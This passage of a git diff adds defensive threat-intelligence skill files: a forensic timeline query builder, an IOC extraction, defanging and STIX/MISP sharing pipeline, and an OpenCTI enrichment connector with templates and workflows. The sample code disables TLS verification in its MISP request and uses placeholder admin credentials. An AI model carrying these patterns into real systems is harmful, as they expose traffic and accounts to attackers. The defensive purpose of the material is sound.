"event_identifier:7045", + "description": "New service installations", + } + queries["scheduled_tasks"] = { + "query": "event_identifier:4698 OR event_identifier:4702", + "description": "Scheduled task creation and modification", + } + queries["privilege_escalation"] = { + "query": "event_identifier:4672", + "description": "Special privileges assigned to new logon", + } + queries["account_changes"] = { + "query": "event_identifier:4720 OR event_identifier:4722 OR event_identifier:4738", + "description": "User account creation and modification", + } + queries["group_membership"] = { + "query": "event_identifier:4728 OR event_identifier:4732 OR event_identifier:4756", + "description": "Security group membership changes", + } + queries["file_access"] = { + "query": 'data_type:"fs:stat"', + "description": "File system activity", + } + + # IOC-specific queries + if iocs: + for ioc_type, values in iocs.items(): + for value in values: + key = f"ioc_{ioc_type}_{value[:20]}" + queries[key] = { + "query": f'"{value}"', + "description": f"IOC search: {ioc_type} = {value}", + } + + # Save queries + query_file = self.output_dir / "investigation_queries.json" + with open(query_file, "w") as f: + json.dump(queries, f, indent=2) + + print(f"[+] Generated {len(queries)} search queries -> {query_file}") + return queries + + def build_attack_narrative(self, findings): + """Build structured attack narrative from investigation findings.""" + narrative = { + "title": "Attack Timeline Narrative", + "generated": datetime.utcnow().isoformat(), + "phases": [], + } + + attack_phases = [ + "Initial Access", + "Execution", + "Persistence", + "Privilege Escalation", + "Defense Evasion", + "Credential Access", + "Discovery", + "Lateral Movement", + "Collection", + "Exfiltration", + "Impact", + ] + + for phase in attack_phases: + phase_findings = [f for f in findings if f.get("mitre_tactic") == phase] + if phase_findings: + narrative["phases"].append({ + "tactic": phase, + "events": sorted(phase_findings, key=lambda x: x.get("datetime", "")), + }) + + narrative_file = self.output_dir / "attack_narrative.json" + with open(narrative_file, "w") as f: + json.dump(narrative, f, indent=2, default=str) + + print(f"[+] Attack narrative saved to {narrative_file}") + return narrative + + def generate_timeline_report(self): + """Generate summary report of all timelines and analysis.""" + report = { + "report_title": "Forensic Timeline Analysis Report", + "generated": datetime.utcnow().isoformat(), + "timelines_processed": len(self.timelines), + "timelines": self.timelines, + "total_events": len(self.events), + "analysis_queries": str(self.output_dir / "investigation_queries.json"), + } + + report_file = self.output_dir / "timeline_report.json" + with open(report_file, "w") as f: + json.dump(report, f, indent=2) + + print(f"\n[+] Timeline report saved to {report_file}") + return report + + +def main(): + import argparse + + parser = argparse.ArgumentParser( + description="Timesketch Timeline Builder - Forensic Timeline Creation Tool" + ) + parser.add_argument( + "--evidence", "-e", + help="Path to evidence directory or disk image", + ) + parser.add_argument( + "--parsers", "-p", + default="quick_triage", + choices=["quick_triage", "windows_full", "linux_full", "network_focused"], + help="Plaso parser set to use", + ) + parser.add_argument( + "--sketch", "-s", + default="Investigation", + help="Timesketch sketch name", + ) + parser.add_argument( + "--output", "-o", + default="timeline_output", + help="Output directory", + ) + parser.add_argument( + "--iocs", + help="JSON file with IOCs to search for", + ) + + args = parser.parse_args() + + builder = TimesketchTimelineBuilder(output_dir=args.output) + + if args.evidence: + plaso_output = Path(args.output) / "evidence.plaso" + builder.process_evidence_with_plaso(args.evidence, plaso_output, args.parsers) + + iocs = None + if args.iocs: + with open(args.iocs) as f: + iocs = json.load(f) + + builder.generate_search_queries(iocs=iocs) + builder.generate_timeline_report() + + +if __name__ == "__main__": + main() diff --git a/skills/building-ioc-defanging-and-sharing-pipeline/SKILL.md b/skills/building-ioc-defanging-and-sharing-pipeline/SKILL.md new file mode 100644 index 00000000..71e1ea04 --- /dev/null +++ b/skills/building-ioc-defanging-and-sharing-pipeline/SKILL.md @@ -0,0 +1,350 @@ +--- +name: building-ioc-defanging-and-sharing-pipeline +description: Build an automated pipeline to defang indicators of compromise (URLs, IPs, domains, emails) for safe sharing and distribute them in STIX format through TAXII feeds and threat intelligence platforms. +domain: cybersecurity +subdomain: threat-intelligence +tags: [ioc, defanging, threat-sharing, stix, pipeline, indicator, automation, threat-intelligence] +version: "1.0" +author: mahipal +license: MIT +--- +# Building IOC Defanging and Sharing Pipeline + +## Overview + +IOC defanging modifies potentially malicious indicators (URLs, IP addresses, domains, email addresses) to prevent accidental clicks or execution while preserving readability for analysis and sharing. This skill covers building an automated pipeline that ingests raw IOCs from multiple sources, normalizes and deduplicates them, applies defanging for safe human consumption, converts them to STIX 2.1 format for machine consumption, and distributes through TAXII servers, MISP instances, and email reports. + +## Prerequisites + +- Python 3.9+ with `defang`, `ioc-fanger`, `stix2`, `requests`, `validators` libraries +- MISP instance or TAXII server for automated sharing +- Understanding of IOC types: IPv4/IPv6, domains, URLs, email addresses, file hashes +- Familiarity with STIX 2.1 Indicator patterns and TLP marking definitions +- Access to threat intelligence feeds for IOC ingestion + +## Key Concepts + +### IOC Defanging Standards + +Defanging replaces active protocol and domain components to prevent execution: `http://` becomes `hxxp://`, `https://` becomes `hxxps://`, dots in domains/IPs become `[.]`, `@` in emails becomes `[@]`. This is critical for sharing IOCs in reports, emails, Slack channels, and paste sites where auto-linking could trigger network connections to malicious infrastructure. + +### IOC Normalization + +Raw IOCs from different sources come in inconsistent formats. Normalization involves converting to lowercase, removing trailing slashes and whitespace, extracting domains from URLs, resolving URL encoding, validating format correctness, and deduplicating across sources. + +### STIX 2.1 Indicator Patterns + +STIX patterns express IOCs in a standardized format: `[ipv4-addr:value = '203.0.113.1']`, `[domain-name:value = 'malicious.example.com']`, `[url:value = 'http://evil.com/payload']`, `[file:hashes.'SHA-256' = 'abc123...']`. Each indicator includes valid_from, indicator_types, confidence, and optional TLP markings. + +## Practical Steps + +### Step 1: Build IOC Extraction and Normalization + +```python +import re +import hashlib +from urllib.parse import urlparse, unquote +from datetime import datetime + +class IOCExtractor: + """Extract and normalize IOCs from text.""" + + PATTERNS = { + "ipv4": r'\b(?:(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]?\d)\b', + "domain": r'\b(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}\b', + "url": r'https?://[^\s<>"{}|\\^`\[\]]+', + "email": r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b', + "md5": r'\b[a-fA-F0-9]{32}\b', + "sha1": r'\b[a-fA-F0-9]{40}\b', + "sha256": r'\b[a-fA-F0-9]{64}\b', + } + + WHITELIST_DOMAINS = { + "google.com", "microsoft.com", "amazon.com", "github.com", + "cloudflare.com", "akamai.com", "example.com", + } + + def extract_from_text(self, text): + """Extract all IOC types from free text.""" + # Refang any already-defanged indicators first + text = self._refang(text) + iocs = {"ipv4": set(), "domain": set(), "url": set(), + "email": set(), "md5": set(), "sha1": set(), "sha256": set()} + + for ioc_type, pattern in self.PATTERNS.items(): + matches = re.findall(pattern, text) + for match in matches: + normalized = self._normalize(match, ioc_type) + if normalized and not self._is_whitelisted(normalized, ioc_type): + iocs[ioc_type].add(normalized) + + # Remove domains that are part of URLs + url_domains = set() + for url in iocs["url"]: + parsed = urlparse(url) + url_domains.add(parsed.netloc) + iocs["domain"] -= url_domains + + total = sum(len(v) for v in iocs.values()) + print(f"[+] Extracted {total} unique IOCs from text") + return {k: sorted(v) for k, v in iocs.items()} + + def _refang(self, text): + """Convert defanged indicators back to active form.""" + text = text.replace("hxxp://", "http://").replace("hxxps://", "https://") + text = text.replace("[.]", ".").replace("[@]", "@") + text = text.replace("[://]", "://").replace("(.)", ".") + return text + + def _normalize(self, value, ioc_type): + """Normalize an IOC value.""" + value = value.strip().lower() + if ioc_type == "url": + value = unquote(value).rstrip("/") + elif ioc_type == "domain": + value = value.rstrip(".") + return value + + def _is_whitelisted(self, value, ioc_type): + """Check if IOC is in whitelist.""" + if ioc_type == "domain": + return value in self.WHITELIST_DOMAINS + if ioc_type == "url": + parsed = urlparse(value) + return parsed.netloc in self.WHITELIST_DOMAINS + return False + +extractor = IOCExtractor() +sample_text = """ +Malware C2: hxxps://evil-domain[.]com/beacon +Drops payload from 192.168.1.100 and contacts 10[.]0[.]0[.]1 +SHA256: 275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f +Phishing email from attacker[@]phishing-domain[.]com +""" +iocs = extractor.extract_from_text(sample_text) +``` + +### Step 2: Defanging Engine + +```python +class IOCDefanger: + """Defang IOCs for safe sharing in reports and communications.""" + + def defang_url(self, url): + return url.replace("http://", "hxxp://").replace("https://", "hxxps://").replace(".", "[.]") + + def defang_domain(self, domain): + return domain.replace(".", "[.]") + + def defang_ip(self, ip): + return ip.replace(".", "[.]") + + def defang_email(self, email): + return email.replace("@", "[@]").replace(".", "[.]") + + def defang_all(self, iocs): + """Defang all IOCs in a dictionary.""" + defanged = {} + for ioc_type, values in iocs.items(): + if ioc_type == "url": + defanged[ioc_type] = [self.defang_url(v) for v in values] + elif ioc_type == "domain": + defanged[ioc_type] = [self.defang_domain(v) for v in values] + elif ioc_type == "ipv4": + defanged[ioc_type] = [self.defang_ip(v) for v in values] + elif ioc_type == "email": + defanged[ioc_type] = [self.defang_email(v) for v in values] + else: + defanged[ioc_type] = values # Hashes don't need defanging + return defanged + + def generate_sharing_report(self, iocs, defanged, report_name="IOC Report"): + """Generate a human-readable defanged IOC report.""" + report = f"# {report_name}\n" + report += f"Generated: {datetime.now().isoformat()}\n\n" + + for ioc_type in ["url", "domain", "ipv4", "email", "sha256", "sha1", "md5"]: + values = defanged.get(ioc_type, []) + if values: + report += f"## {ioc_type.upper()} ({len(values)})\n" + for v in values: + report += f"- `{v}`\n" + report += "\n" + + return report + +defanger = IOCDefanger() +defanged = defanger.defang_all(iocs) +report = defanger.generate_sharing_report(iocs, defanged, "Malware Campaign IOCs") +print(report) +``` + +### Step 3: Convert to STIX 2.1 Format + +```python +from stix2 import Indicator, Bundle, TLP_WHITE, TLP_GREEN, TLP_AMBER +from datetime import datetime + +class STIXConverter: + """Convert raw IOCs to STIX 2.1 Indicator objects.""" + + TLP_MAP = {"white": TLP_WHITE, "green": TLP_GREEN, "amber": TLP_AMBER} + + def iocs_to_stix(self, iocs, tlp="green", confidence=75): + """Convert IOC dictionary to STIX 2.1 bundle.""" + stix_objects = [] + marking = self.TLP_MAP.get(tlp, TLP_GREEN) + + for ip in iocs.get("ipv4", []): + stix_objects.append(Indicator( + name=f"Malicious IP: {ip}", + pattern=f"[ipv4-addr:value = '{ip}']", + pattern_type="stix", + valid_from=datetime.now(), + indicator_types=["malicious-activity"], + confidence=confidence, + object_marking_refs=[marking], + )) + + for domain in iocs.get("domain", []): + stix_objects.append(Indicator( + name=f"Malicious Domain: {domain}", + pattern=f"[domain-name:value = '{domain}']", + pattern_type="stix", + valid_from=datetime.now(), + indicator_types=["malicious-activity"], + confidence=confidence, + object_marking_refs=[marking], + )) + + for url in iocs.get("url", []): + escaped = url.replace("'", "\\'") + stix_objects.append(Indicator( + name=f"Malicious URL: {url[:60]}", + pattern=f"[url:value = '{escaped}']", + pattern_type="stix", + valid_from=datetime.now(), + indicator_types=["malicious-activity"], + confidence=confidence, + object_marking_refs=[marking], + )) + + for sha256 in iocs.get("sha256", []): + stix_objects.append(Indicator( + name=f"Malicious File Hash: {sha256[:16]}...", + pattern=f"[file:hashes.'SHA-256' = '{sha256}']", + pattern_type="stix", + valid_from=datetime.now(), + indicator_types=["malicious-activity"], + confidence=confidence, + object_marking_refs=[marking], + )) + + bundle = Bundle(objects=stix_objects) + print(f"[+] Created STIX bundle with {len(stix_objects)} indicators") + return bundle + +converter = STIXConverter() +stix_bundle = converter.iocs_to_stix(iocs, tlp="amber", confidence=80) +with open("iocs_stix_bundle.json", "w") as f: + f.write(stix_bundle.serialize(pretty=True)) +``` + +### Step 4: Distribute Through MISP and TAXII + +```python +import requests +import json + +class IOCDistributor: + """Distribute IOCs through various channels.""" + + def push_to_misp(self, iocs, misp_url, misp_key, event_info): + """Push IOCs to MISP as a new event.""" + headers = { + "Authorization": misp_key, + "Content-Type": "application/json", + "Accept": "application/json", + } + event = { + "Event": { + "info": event_info, + "distribution": "1", # This community only + "threat_level_id": "2", # Medium + "analysis": "2", # Completed + "Attribute": [], + } + } + + type_mapping = { + "ipv4": "ip-dst", + "domain": "domain", + "url": "url", + "email": "email-src", + "md5": "md5", + "sha1": "sha1", + "sha256": "sha256", + } + + for ioc_type, values in iocs.items(): + misp_type = type_mapping.get(ioc_type) + if misp_type: + for value in values: + event["Event"]["Attribute"].append({ + "type": misp_type, + "value": value, + "category": "Network activity" if ioc_type in ("ipv4", "domain", "url") else "Payload delivery", + "to_ids": True, + }) + + resp = requests.post( + f"{misp_url}/events", + headers=headers, + json=event, + verify=False, + ) + if resp.status_code == 200: + event_id = resp.json().get("Event", {}).get("id", "") + print(f"[+] MISP event created: {event_id}") + return event_id + else: + print(f"[-] MISP error: {resp.status_code} - {resp.text[:200]}") + return None + + def push_to_taxii(self, stix_bundle, taxii_url, collection_id, username, password): + """Push STIX bundle to TAXII 2.1 collection.""" + from taxii2client.v21 import Collection + collection = Collection( + f"{taxii_url}/collections/{collection_id}/", + user=username, password=password, + ) + response = collection.add_objects(stix_bundle.serialize()) + print(f"[+] TAXII: Published bundle, status: {response.status}") + return response + +distributor = IOCDistributor() +distributor.push_to_misp( + iocs, + misp_url="https://misp.organization.com", + misp_key="YOUR_MISP_API_KEY", + event_info="Malware Campaign IOCs - 2025", +) +``` + +## Validation Criteria + +- IOCs extracted correctly from free text with refanging support +- Defanging produces safe, non-clickable indicators +- STIX 2.1 bundle contains valid indicator patterns +- IOCs distributed to MISP and TAXII successfully +- Deduplication prevents duplicate indicators +- Whitelisting prevents false positives on known-good domains + +## References + +- [CISA: Cybersecurity Automation and Threat Intelligence Sharing](https://www.cisa.gov/sites/default/files/publications/Operational%20Value%20of%20IOCs_508c.pdf) +- [Defang Python Library](https://pypi.org/project/defang/) +- [ioc-fanger](https://pypi.org/project/ioc-fanger/) +- [STIX 2.1 Indicator Specification](https://docs.oasis-open.org/cti/stix/v2.1/os/stix-v2.1-os.html) +- [Grokipedia: Defanging](https://grokipedia.com/page/defanging) +- [Hunt.io: Best IOC Feeds](https://hunt.io/glossary/best-ioc-feeds) diff --git a/skills/building-ioc-enrichment-pipeline-with-opencti/SKILL.md b/skills/building-ioc-enrichment-pipeline-with-opencti/SKILL.md new file mode 100644 index 00000000..cb0cc210 --- /dev/null +++ b/skills/building-ioc-enrichment-pipeline-with-opencti/SKILL.md @@ -0,0 +1,245 @@ +--- +name: None +description: OpenCTI is an open-source platform for managing cyber threat intelligence knowledge, built on STIX 2.1 as its native data model. This skill covers building an automated IOC enrichment pipeline using O +domain: cybersecurity +subdomain: threat-intelligence +tags: [threat-intelligence, cti, ioc, mitre-attack, stix, opencti, enrichment, virustotal] +version: "1.0" +author: mahipal +license: MIT +--- +# Building IOC Enrichment Pipeline with OpenCTI + +## Overview + +OpenCTI is an open-source platform for managing cyber threat intelligence knowledge, built on STIX 2.1 as its native data model. This skill covers building an automated IOC enrichment pipeline using OpenCTI's connector ecosystem to enrich indicators with context from VirusTotal, Shodan, AbuseIPDB, GreyNoise, and other sources. The pipeline automatically enriches newly ingested indicators, correlates them with known threat actors and campaigns, and scores them for analyst prioritization. + +## Prerequisites + +- Docker and Docker Compose for OpenCTI deployment +- Python 3.9+ with `pycti` library +- API keys for enrichment services: VirusTotal, Shodan, AbuseIPDB, GreyNoise +- Understanding of STIX 2.1 data model and relationships +- ElasticSearch or OpenSearch for OpenCTI backend +- RabbitMQ or Redis for connector messaging + +## Key Concepts + +### OpenCTI Architecture + +OpenCTI uses a GraphQL API frontend backed by ElasticSearch for storage and Redis/RabbitMQ for connector communication. Data is natively stored as STIX 2.1 objects with relationships. Connectors are categorized as: External Import (feed ingestion), Internal Import (file parsing), Internal Enrichment (context addition), and Stream (real-time export). + +### Enrichment Connector Model + +Internal enrichment connectors are triggered automatically when new observables are created or manually by analysts. Each connector receives STIX objects, queries external services, and returns STIX 2.1 bundles that augment the original observable with additional context, labels, and relationships. + +### Confidence Scoring + +OpenCTI uses a 0-100 confidence scale for indicators. Enrichment connectors can update confidence scores based on external validation: VirusTotal detection ratios, Shodan exposure data, AbuseIPDB report counts, and GreyNoise classification results. + +## Practical Steps + +### Step 1: Deploy OpenCTI with Docker Compose + +```yaml +# docker-compose.yml (key services) +version: '3' +services: + opencti: + image: opencti/platform:6.4.4 + environment: + - APP__PORT=8080 + - APP__ADMIN__EMAIL=admin@opencti.io + - APP__ADMIN__PASSWORD=ChangeMeNow + - APP__ADMIN__TOKEN=your-admin-token-uuid + - ELASTICSEARCH__URL=http://elasticsearch:9200 + - MINIO__ENDPOINT=minio + - RABBITMQ__HOSTNAME=rabbitmq + ports: + - "8080:8080" + depends_on: + - elasticsearch + - minio + - rabbitmq + - redis + + connector-virustotal: + image: opencti/connector-virustotal:6.4.4 + environment: + - OPENCTI_URL=http://opencti:8080 + - OPENCTI_TOKEN=your-admin-token-uuid + - CONNECTOR_ID=connector-virustotal-id + - CONNECTOR_NAME=VirusTotal + - CONNECTOR_SCOPE=StixFile,Artifact,IPv4-Addr,Domain-Name,Url + - CONNECTOR_AUTO=true + - VIRUSTOTAL_TOKEN=your-vt-api-key + - VIRUSTOTAL_MAX_TLP=TLP:AMBER + + connector-shodan: + image: opencti/connector-shodan:6.4.4 + environment: + - OPENCTI_URL=http://opencti:8080 + - OPENCTI_TOKEN=your-admin-token-uuid + - CONNECTOR_ID=connector-shodan-id + - CONNECTOR_NAME=Shodan + - CONNECTOR_SCOPE=IPv4-Addr + - CONNECTOR_AUTO=true + - SHODAN_TOKEN=your-shodan-api-key + - SHODAN_MAX_TLP=TLP:AMBER + + connector-abuseipdb: + image: opencti/connector-abuseipdb:6.4.4 + environment: + - OPENCTI_URL=http://opencti:8080 + - OPENCTI_TOKEN=your-admin-token-uuid + - CONNECTOR_ID=connector-abuseipdb-id + - CONNECTOR_NAME=AbuseIPDB + - CONNECTOR_SCOPE=IPv4-Addr + - CONNECTOR_AUTO=true + - ABUSEIPDB_API_KEY=your-abuseipdb-key +``` + +### Step 2: Build Custom Enrichment Connector + +```python +import os +from pycti import OpenCTIConnectorHelper, get_config_variable +from stix2 import ( + Bundle, Indicator, Note, Relationship, + IPv4Address, DomainName +) +import requests + + +class CustomEnrichmentConnector: + def __init__(self): + config = { + "opencti": { + "url": os.environ.get("OPENCTI_URL"), + "token": os.environ.get("OPENCTI_TOKEN"), + }, + "connector": { + "id": os.environ.get("CONNECTOR_ID"), + "name": "CustomEnrichment", + "scope": "IPv4-Addr,Domain-Name,Url", + "auto": True, + "type": "INTERNAL_ENRICHMENT", + }, + } + self.helper = OpenCTIConnectorHelper(config) + self.helper.listen(self._process_message) + + def _process_message(self, data): + entity_id = data["entity_id"] + stix_object = self.helper.api.stix_cyber_observable.read(id=entity_id) + + if not stix_object: + return "Observable not found" + + observable_type = stix_object["entity_type"] + observable_value = stix_object.get("value", "") + + enrichment_results = [] + + if observable_type == "IPv4-Addr": + enrichment_results = self._enrich_ip(observable_value, entity_id) + elif observable_type == "Domain-Name": + enrichment_results = self._enrich_domain(observable_value, entity_id) + + if enrichment_results: + bundle = Bundle(objects=enrichment_results, allow_custom=True) + self.helper.send_stix2_bundle(bundle.serialize()) + + return "Enrichment completed" + + def _enrich_ip(self, ip_address, entity_id): + """Enrich IP address with GreyNoise, AbuseIPDB context.""" + objects = [] + + # GreyNoise Community API + try: + gn_response = requests.get( + f"https://api.greynoise.io/v3/community/{ip_address}", + headers={"key": os.environ.get("GREYNOISE_API_KEY")}, + timeout=30, + ) + if gn_response.status_code == 200: + gn_data = gn_response.json() + classification = gn_data.get("classification", "unknown") + noise = gn_data.get("noise", False) + riot = gn_data.get("riot", False) + + note_content = ( + f"## GreyNoise Enrichment\n" + f"- Classification: {classification}\n" + f"- Internet Noise: {noise}\n" + f"- RIOT (Benign Service): {riot}\n" + f"- Name: {gn_data.get('name', 'N/A')}\n" + f"- Last Seen: {gn_data.get('last_seen', 'N/A')}" + ) + + note = Note( + content=note_content, + object_refs=[entity_id], + abstract=f"GreyNoise: {classification}", + allow_custom=True, + ) + objects.append(note) + + # Add labels based on classification + if classification == "malicious": + self.helper.api.stix_cyber_observable.add_label( + id=entity_id, label_name="greynoise:malicious" + ) + elif riot: + self.helper.api.stix_cyber_observable.add_label( + id=entity_id, label_name="greynoise:benign-service" + ) + + except Exception as e: + self.helper.log_error(f"GreyNoise enrichment failed: {e}") + + return objects + + def _enrich_domain(self, domain, entity_id): + """Enrich domain with WHOIS and DNS context.""" + objects = [] + + try: + # Use SecurityTrails API for domain enrichment + st_response = requests.get( + f"https://api.securitytrails.com/v1/domain/{domain}", + headers={"APIKEY": os.environ.get("SECURITYTRAILS_API_KEY")}, + timeout=30, + ) + if st_response.status_code == 200: + st_data = st_response.json() + current_dns = st_data.get("current_dns", {}) + + a_records = [ + r.get("ip") for r in current_dns.get("a", {}).get("values", []) + ] + + note_content = ( + f"## SecurityTrails Enrichment\n" + f"- A Records: {', '.join(a_records)}\n" + f"- Alexa Rank: {st_data.get('alexa_rank', 'N/A')}\n" + f"- Hostname: {st_data.get('hostname', 'N/A')}" + ) + + note = Note( + content=note_content, + object_refs=[entity_id], + abstract=f"SecurityTrails: {domain}", + allow_custom=True, + ) + objects.append(note) + + except Exception as e: + self.helper.log_error(f"SecurityTrails enrichment failed: {e}") + + return objects + + +if __name__ == "__main__": + connector = CustomEnrichmentConnector() diff --git a/skills/building-ioc-enrichment-pipeline-with-opencti/assets/template.md b/skills/building-ioc-enrichment-pipeline-with-opencti/assets/template.md new file mode 100644 index 00000000..d6210406 --- /dev/null +++ b/skills/building-ioc-enrichment-pipeline-with-opencti/assets/template.md @@ -0,0 +1,85 @@ +# IOC Enrichment Report Template + +## Report Metadata +| Field | Value | +|-------|-------| +| Report ID | ENRICH-YYYY-NNNN | +| Date | YYYY-MM-DD HH:MM UTC | +| Platform | OpenCTI v6.x | +| Analyst | [Analyst Name] | +| Classification | TLP:AMBER | + +## Observable Summary + +| Observable | Type | Initial Score | Enriched Score | Priority | +|-----------|------|---------------|----------------|----------| +| x.x.x.x | IPv4-Addr | 0 | 85 | Critical | +| evil.com | Domain-Name | 0 | 62 | High | + +## Enrichment Results + +### Observable: [Value] +**Type**: IPv4-Addr / Domain-Name / StixFile + +#### VirusTotal +| Metric | Value | +|--------|-------| +| Malicious Detections | X / Y engines | +| Suspicious | X | +| Reputation Score | X | +| AS Owner | | +| Country | | + +#### Shodan +| Metric | Value | +|--------|-------| +| Open Ports | | +| Known Vulnerabilities | | +| ISP | | +| Organization | | +| Operating System | | + +#### AbuseIPDB +| Metric | Value | +|--------|-------| +| Abuse Confidence Score | X% | +| Total Reports | X | +| Distinct Reporters | X | +| Is Tor Exit Node | Yes/No | +| Usage Type | | + +#### GreyNoise +| Metric | Value | +|--------|-------| +| Classification | malicious/benign/unknown | +| Internet Noise | Yes/No | +| RIOT (Benign Service) | Yes/No | +| Name | | +| Last Seen | | + +## Confidence Scoring Breakdown + +| Source | Weight | Score Contribution | +|--------|--------|--------------------| +| VirusTotal | 30% | X points | +| AbuseIPDB | 30% | X points | +| GreyNoise | 20% | X points | +| Shodan | 20% | X points | +| **Total** | **100%** | **X / 100** | + +## Recommended Actions + +| Priority | Action | Observable | Reason | +|----------|--------|-----------|--------| +| Critical | Block immediately | | Score > 80 | +| High | Add to watchlist | | Score 50-79 | +| Medium | Monitor | | Score 20-49 | +| Low | No action needed | | Score < 20 | + +## STIX Relationships Created + +| Source | Relationship | Target | +|--------|-------------|--------| +| [Observable] | indicates | [Malware/Campaign] | +| [Observable] | related-to | [Infrastructure] | +| [Threat Actor] | uses | [Observable] | diff --git a/skills/building-ioc-enrichment-pipeline-with-opencti/references/standards.md b/skills/building-ioc-enrichment-pipeline-with-opencti/references/standards.md new file mode 100644 index 00000000..f974de68 --- /dev/null +++ b/skills/building-ioc-enrichment-pipeline-with-opencti/references/standards.md @@ -0,0 +1,77 @@ +# Standards and Frameworks Reference + +## STIX 2.1 (Native Data Model for OpenCTI) + +### STIX Domain Objects (SDOs) +- **Indicator**: Contains detection patterns (STIX patterning, YARA, Sigma) +- **Malware**: Represents malware families and variants +- **Threat Actor**: Describes adversary groups and individuals +- **Campaign**: Groups related intrusion activity +- **Attack Pattern**: Maps to MITRE ATT&CK techniques +- **Infrastructure**: Represents adversary-owned systems (C2, exploit kits) +- **Tool**: Legitimate software used by adversaries + +### STIX Cyber Observables (SCOs) +- **IPv4-Addr / IPv6-Addr**: Network addresses +- **Domain-Name**: DNS domain names +- **URL**: Full URL indicators +- **StixFile**: File hashes (MD5, SHA-1, SHA-256) +- **Email-Addr**: Email addresses +- **Artifact**: Binary content (malware samples) +- **Process**: Running process information +- **Network-Traffic**: Network flow data + +### STIX Relationship Objects (SROs) +- **Relationship**: Connects two SDOs (e.g., Threat Actor "uses" Malware) +- **Sighting**: Records observation of an indicator or malware + +## OpenCTI Connector Standards + +### Connector Types +1. **EXTERNAL_IMPORT**: Ingest data from external sources (MISP, TAXII feeds) +2. **INTERNAL_IMPORT_FILE**: Parse uploaded files (PDF reports, STIX bundles) +3. **INTERNAL_ENRICHMENT**: Enrich existing observables with external data +4. **INTERNAL_ANALYSIS**: Analyze content for indicators +5. **STREAM**: Real-time export to external systems (SIEM, SOAR) + +### Connector Communication Protocol +- Connectors communicate via RabbitMQ message queues +- Messages contain STIX 2.1 bundles in JSON format +- Enrichment connectors receive entity_id and return STIX bundles +- Rate limiting and retry logic handled by connector framework + +## Enrichment Service APIs + +### VirusTotal v3 API +- Endpoint: `https://www.virustotal.com/api/v3/` +- Resources: files, urls, domains, ip_addresses +- Rate limits: 4 requests/minute (free), 1000/minute (premium) +- Returns: detection ratios, behavioral analysis, relationships + +### Shodan API +- Endpoint: `https://api.shodan.io/` +- Resources: host/{ip}, dns/resolve, search +- Returns: open ports, services, banners, vulnerabilities, ASN info + +### AbuseIPDB v2 API +- Endpoint: `https://api.abuseipdb.com/api/v2/` +- Resources: check, reports, blacklist +- Returns: abuse confidence score, total reports, categories, country + +### GreyNoise v3 API +- Endpoint: `https://api.greynoise.io/v3/` +- Resources: community/{ip}, noise/context/{ip} +- Returns: classification (benign/malicious/unknown), RIOT status, tags + +## MITRE ATT&CK Framework +- OpenCTI maps Attack Patterns to ATT&CK techniques +- Supports Enterprise, Mobile, and ICS matrices +- Technique relationships enable campaign-level analysis +- Sub-technique granularity (e.g., T1059.001 - PowerShell) + +## References +- [OpenCTI Documentation](https://docs.opencti.io/) +- [STIX 2.1 Specification](https://docs.oasis-open.org/cti/stix/v2.1/stix-v2.1.html) +- [OpenCTI GitHub](https://github.com/OpenCTI-Platform/opencti) +- [OpenCTI Connectors Ecosystem](https://docs.opencti.io/latest/deployment/connectors/) +- [VirusTotal API v3](https://docs.virustotal.com/reference/overview) diff --git a/skills/building-ioc-enrichment-pipeline-with-opencti/references/workflows.md b/skills/building-ioc-enrichment-pipeline-with-opencti/references/workflows.md new file mode 100644 index 00000000..fd2b2434 --- /dev/null +++ b/skills/building-ioc-enrichment-pipeline-with-opencti/references/workflows.md @@ -0,0 +1,103 @@ +# OpenCTI IOC Enrichment Workflows + +## Workflow 1: Automatic Enrichment Pipeline + +``` +[New Observable Created] --> [RabbitMQ Queue] --> [Enrichment Connectors] + | + +-----------+-----------+ + | | | + v v v + [VirusTotal] [Shodan] [AbuseIPDB] + | | | + v v v + [STIX Bundle] [STIX Bundle] [STIX Bundle] + | | | + +-----------+-----------+ + | + v + [Merged into OpenCTI] + | + v + [Confidence Updated] +``` + +### Steps: +1. **Observable Ingestion**: New IP/domain/hash created via feed import or manual entry +2. **Queue Distribution**: OpenCTI sends observable to enrichment connector queues +3. **Parallel Enrichment**: Each connector queries its respective external API +4. **STIX Bundle Generation**: Connectors produce STIX 2.1 bundles with notes, labels, relationships +5. **Merge**: Enrichment results merged into the observable's knowledge graph +6. **Scoring**: Confidence score updated based on aggregated enrichment data + +## Workflow 2: Analyst-Triggered Enrichment + +``` +[Analyst Selects Observable] --> [Manual Enrichment Request] --> [Selected Connectors] + | | + v v + [Review Results] <-- [Enrichment Dashboard] <-- [Results Returned] + | + v + [Update Tags/Labels] --> [Add to Investigation] +``` + +### Steps: +1. **Selection**: Analyst identifies observable requiring additional context +2. **Connector Choice**: Select specific enrichment connectors to run +3. **Execution**: Connectors query external services with observable value +4. **Review**: Analyst reviews enrichment results in observable detail view +5. **Curation**: Analyst updates labels, confidence, and adds notes +6. **Investigation**: Link enriched observable to ongoing investigation case + +## Workflow 3: Bulk Enrichment Pipeline + +``` +[STIX Import] --> [Observable Extraction] --> [Batch Queue] --> [Rate-Limited Enrichment] + | + v + [Progress Tracking] + | + v + [Enrichment Report] +``` + +### Steps: +1. **Bulk Import**: Import STIX bundle with hundreds of observables +2. **Extraction**: OpenCTI extracts unique observables from imported data +3. **Queue Management**: Observables queued for enrichment with rate limiting +4. **Progressive Enrichment**: Connectors process queue respecting API rate limits +5. **Monitoring**: Track enrichment progress via connector status dashboard +6. **Reporting**: Generate enrichment summary with coverage statistics + +## Workflow 4: Enrichment-Driven Scoring + +``` +[Raw IOC (Score: 0)] --> [VirusTotal] --> [Score += VT_detections/total * 30] + | + v + [AbuseIPDB] --> [Score += abuse_confidence * 0.3] + | + v + [GreyNoise] --> [Score += classification_weight] + | + v + [Shodan] --> [Score += open_ports_risk] + | + v + [Final Score (0-100)] --> [Priority Classification] + | + +---------+---------+ + | | | + v v v + [Critical] [High] [Low] + (80-100) (50-79) (0-49) +``` + +### Steps: +1. **Baseline**: Observable starts with confidence score of 0 +2. **VT Score**: VirusTotal detection ratio contributes up to 30 points +3. **Abuse Score**: AbuseIPDB confidence contributes up to 30 points +4. **Classification**: GreyNoise malicious/benign classification adds/subtracts points +5. **Exposure**: Shodan data on open ports and known 